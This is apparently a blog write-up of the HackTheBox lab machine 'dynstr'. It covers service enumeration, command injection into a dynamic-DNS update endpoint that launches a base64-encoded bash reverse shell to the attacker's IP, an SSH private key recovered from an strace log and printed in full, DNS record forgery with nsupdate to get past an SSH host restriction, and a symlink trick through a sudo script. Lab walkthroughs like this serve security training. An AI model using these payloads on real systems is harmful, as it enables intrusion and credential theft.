[HackTheBox] dynstr

[HackTheBox] dynstr

https://app.hackthebox.com/machines/dynstr

·

7 min read

Footprinting

Open ports

Only SSH, DNS and HTTP services are running:

kali@kali:~$ sudo nmap -sS -p- -Pn -v10 -oA syn_full 10.10.10.244
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
53/tcp open  domain  syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
kali@kali:~$ sudo nmap -sC -sV -p22,53,80 -Pn -v10 -oA vuln 10.10.10.244
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC//sbOTQwLRH4CGj3riDnnTvTCiJT1Uz7CyRSD2Tkh2wkT20rtAq13c5M1LC2kxki2bz9Ptxxx340Cc9tAcQaPZbmHndQe/H1bGiVZCKjOl2WqWQTV9fq6GGtflC94BkkLrmkWHzqg+S50g2Zg0iesPMkKAmwqwEVZx9npe1QuF3RQu5EYQXRYVOzpqQdU+jRD267gCvsKp9xmr7trZ1UzFxfBUOzSCWa3Adm2TTFwiA5jTb6x0lKVnQtgKghioMQeXXPuiTLCbI0XfbksoRI2OBAvTZf7RsIthKCiyCQRWjVh5Idr5Fh7GgwYaDgW662W3V3hCNEQRY8R9/fXWdVho1gWbm6NFt+NyRO/6F2XDvPseBYr+Yi6zwGEM+PpsTi5dfj8yYKRZ3HFXwjeBGjCPMRe9XPpCvvDnHAF18B1INVJPSwAIVll365V5D18JslQh7PpAWxO70TzmEC9E+UPXOrt29tZ0Zi/uApFRM700pdOhnvcs8q4RBWaUpp3ZB0=
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFtYzp8umMbm7o9+1LUTVio/dduowE/AsA3rO52A5Q/Cuct9GY6IZEvPE+/XpEiNCPMSl991kjHT+WaAunmTbT4=
|   256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOz8b9MDlSPP5QJgSHy6fpG98bdKCgvqhuu07v5NFkdx
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Enumeration

In the website, valuable information is given:

dyna.htb
dnsalias.htb
dynamicdns.htb
no-ip.htb
dns1.dyna.htb

Username: dynadns
Password: sndanyd

E: dns@dyna.htb

We suppose dynamicdns.htb is a master DNS server. For instance, we may request any domain name using that master:

kali@kali:~$ nslookup -type=any
> set port=53
> server dynamicdns.htb
> dnsalias.htb
Server:         dynamicdns.htb
Address:        10.10.10.244#53

dnsalias.htb
        origin = dns1.dyna.htb
        mail addr = hostmaster.dyna.htb
        serial = 2021030320
        refresh = 21600
        retry = 3600
        expire = 604800
        minimum = 60
dnsalias.htb    nameserver = dns1.dyna.htb.

An interesting attack scenario against DNS servers is to look for a potential TXT record that may disclose sensitive information (eg. secret key, passwords, ...). Only a version of Ubuntu is disclosed here:

kali@kali:~$ dig version.bind CHAOS TXT @10.10.10.244
  ;; Got answer:
  ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 510
  ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
  ;; WARNING: recursion requested but not available

  ;; OPT PSEUDOSECTION:
  ; EDNS: version: 0, flags:; udp: 4096
  ; COOKIE: f01b5cdd95451f840100000061536c5e0f7afb0026c28e54 (good)
  ;; QUESTION SECTION:
  ;version.bind.                  CH      TXT

  ;; ANSWER SECTION:
  version.bind.           0       CH      TXT     "9.16.1-Ubuntu"

Nothing interesting, let's move on to the HTTP enumeration a look for potentially sensitive web pages:

kali@kali:~$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.10.244/FUZZ -t 50 -v -fc 404
http://10.10.10.244/nic                  (Status: 301) [Size: 310] [--> http://10.10.10.244/nic/]
kali@kali:~$ gobuster dir -u http://10.10.10.244/nic/ -w /usr/share/wordlists/dirb/common.txt -e -k -t 10 -o http/gobuster_dir_nic.txt
  http://10.10.10.244/nic/.htaccess            (Status: 403) [Size: 277]
  http://10.10.10.244/nic/.hta                 (Status: 403) [Size: 277]
  http://10.10.10.244/nic/.htpasswd            (Status: 403) [Size: 277]
  http://10.10.10.244/nic/index.html           (Status: 200) [Size: 0]
  http://10.10.10.244/nic/update               (Status: 200) [Size: 8]
  > badauth

Dynamic DNS

Quick searches show that the nic portal is an API used to dynamically update an IP's domain ([1], [2], [3]). This can be used, for example, to :

  • Prevent conflicts between DHCP (issuing arbitrary static IP on new devices in the network) and the DNS (which is pre-configured manually to link an IP with a domain name) ;

  • Dynamically and automatically issue available domain names, whatever the IP might be. Thus, instead of processing IP addresses, domain names alone might be used ;

Anyhow, let's interact with the /nic/update endpoint and see what happens with the Basic authentication dynadns:sndanyd:

>>>
GET /nic/update?hostname=dynamicdns.htb&myip=10.10.10.244 HTTP/1.1
Host: 10.10.10.244
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Authorization: Basic ZHluYWRuczpzbmRhbnlk
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<<<
  > 911 [wrngdom: htb]

The response contains our hostname parameter htb. This is the wrongdomain. Trials and errors give the valid hostname=dynamicdns.dnsalias.htb:

good 10.10.10.244

Also, invalid hostnames (eg. containing an extra period, such as .no-ip.htb, .dnsalias.htb, .dynamicdns.htb) shows an nsupdate error:

911 [nsupdate failed]

nsupdate is a linux tool used to submit Dynamic DNS Update requests to a name server. This allows resource records to be added or removed from a zone without manually editing the zone file. A single update request can contain requests to add or remove more than one resource record.

For example, we may define the TYPE A record type hey.dnsalias.htb:12.34.56.78:

>>>
GET /nic/update?hostname=hey.dnsalias.htb&myip=12.34.56.78 HTTP/1.1 

<<<
nslookup
> type any 
> server 10.10.10.244 
> hey.dnsalias.htb
    Name:   hey.dnsalias.htb
    Address: 12.34.56.78

Where the input is likely to be processed as :

nsupdate
> update add "<HOSTNAME>" 86400 A <IP>

RCE

Therefore, we can inject a shell command through that web-based DDNS feature looking like this:

`echo <BASE64> | base64 -d | bash`

Therefore, let's setup a listener locally:

kali@kali:~$ nc -nlvp 4444

And encode our reverse shell and put it in the URL

kali@kali:~$ echo 'bash -i >& /dev/tcp/10.10.15.34/4444 0>&1' |base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4zNC80NDQ0IDA+JjEK
`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4zNC80NDQ0IDA+JjEK |base64 -d|bash`"dynamicdns.dnsalias.htb
curl 'http://dynadns:sndanyd@10.10.10.244//nic/update?hostname=%60%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%53%34%7a%4e%43%38%30%4e%44%51%30%49%44%41%2b%4a%6a%45%4b%20%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%60%22%64%79%6e%61%6d%69%63%64%6e%73%2e%64%6e%73%61%6c%69%61%73%2e%68%74%62&myip=%2610.10.10.244'

Local Privilege Escalation

www-data

In bindmgr user directory, files disclose its history:

curl -sk sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip
curl -v -sk sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip --pubkey ~/.ssh/id_rsa.pub
strace -fs 2048 curl -v -sk sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip --pubkey ~/.ssh/id_rsa.pubkey

    SSH MD5 fingerprint: c1c2d07855aa0f80005de88d254a6db8

    write(2, "Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'\n", 58Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'
    ) = 58
    write(2, "*", 1*)                        = 1
    write(2, " ", 1 )                        = 1
    write(2, "Using SSH private key file '/home/bindmgr/.ssh/id_rsa'\n", 55Using SSH private key file '/home/bindmgr/.ssh/id_rsa'
    ) = 55

-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----
python -c 'print(ID_RSA)'
ssh -i bindmgr_id_rsa bindmgr@10.10.10.244

However, the authentication fails when we try to use the private key of bindmgr 🫤

bindmgr

Looking at the server-side authorized_keys, we see that only domain names ending with *.infra.dyna.htb are allowed:

www-data@dynstr:~$ cat /home/bindmgr/.ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AA...

Therefore, the idea would be to update our attacker machine's IP to any domain name within *.infra.dyna.htb (eg. jamarir.infra.dyna.htb), to tell the victim's DNS that our hostname is trustworthy.

The PHP code of the previous /nic/update web page limits the usable hostnames to *.dnsalias.htb, *.dynamicdns.htb, and *.no-ip.htb. Therefore, the webpage cannot be used to perform the update. Rather, since we have a system shell on the target, we can simply use nsupdate.

<?php
  // Check authentication
  if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { echo "badauth\n"; exit; }
  if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }
  // Set $myip from GET, defaulting to REMOTE_ADDR
  $myip = $_SERVER['REMOTE_ADDR'];
  if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP)) { $myip = $valid; }

  if(isset($_GET['hostname'])) {
    // Check for a valid domain
    list($h,$d) = explode(".",$_GET['hostname'],2);
    $validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
    if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
    // Update DNS entry
    $cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
    system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
    // Return good or 911
    if (!$retval) {
      echo "good $myip\n";
    } else {
      echo "911 [nsupdate failed]\n"; exit;
    }
  } else {
    echo "nochg $myip\n";
  }
?>

It should be noted that we cannot simply register a DNS record (A type) alone, without its associated Reverse DNS Lookup:

While DNS A records are stored under the given domain name, DNS PTR records are stored under the IP address — reversed, and with .in-addr.arpa added. For example, the PTR record for the IP address 192.0.2.255 would be stored under 255.2.0.192.in-addr.arpa.

in-addr.arpa has to be added because PTR records are stored within the .arpa top-level domain in the DNS. .arpa is a domain used mostly for managing network infrastructure, and it was the first top-level domain name defined for the Internet.

In particular, email servers use PTR records to get the IP of a domain name, and check the IP's legitimacy:

Many email servers will reject messages from any server that does not support reverse lookups or from a server that is highly unlikely to be legitimate. Spammers often use IP addresses from hijacked machines, which means there will be no PTR record.

As RFC1912 states:

Make sure your PTR and A records match. For every IP address, there should be a matching PTR record in the in-addr.arpa domain.

However, the following DNS record update errors out ☹️:

www-data@dynstr:~$ nsupdate
server 127.0.0.1
zone infra.dyna.htb
update delete jamarir.infra.dyna.htb
update add jamarir.infra.dyna.htb 86400 IN A 10.10.15.34
update add 34.15.10.10.in-addr.arpa 86400 IN PTR jamarir.infra.dyna.htb
send

Indeed, a specific format must be used. In particular, a blank line must separate the A and PTR records. Also, a secret key is required with nsupdate. The key is stored in the /etc/bind/infra.key through the -k parameter:

www-data@dynstr:~$ nsupdate -k /etc/bind/infra.key
update add jamarir.infra.dyna.htb. 300 A 10.10.15.34

update add 34.15.10.10.in-addr.arpa. 300 PTR jamarir.infra.dyna.htb.
send

Our hostname is now correctly resolved:

> jamarir.infra.dyna.htb
Server:         10.10.10.244
Address:        10.10.10.244#53

Name:   jamarir.infra.dyna.htb
Address: 10.10.15.34

Now, get the user flag :)

kali@kali:~$ ssh -i bindmgr_id_rsa bindmgr@10.10.10.244
bindmgr@dynstr:~$ cat user.txt
e8[...]01

root

Finally, it's pretty straightforward. bindmgr is allowed to run bindmgr.sh as root:

bindmgr@dynstr:~$ sudo -l
User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

This script displays the content of a .version file in the current directory:

if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

Because the program's running as root during its execution, we can simply create a symbolic from .version to /root/root.txt to get the root flag:

bindmgr@dynstr:~$ ln -s /root/root.txt .version
bindmgr@dynstr:~$ sudo /usr/local/bin/bindmgr.sh
58[...]24

Did you find this article valuable?

Support jamarir by becoming a sponsor. Any amount is appreciated!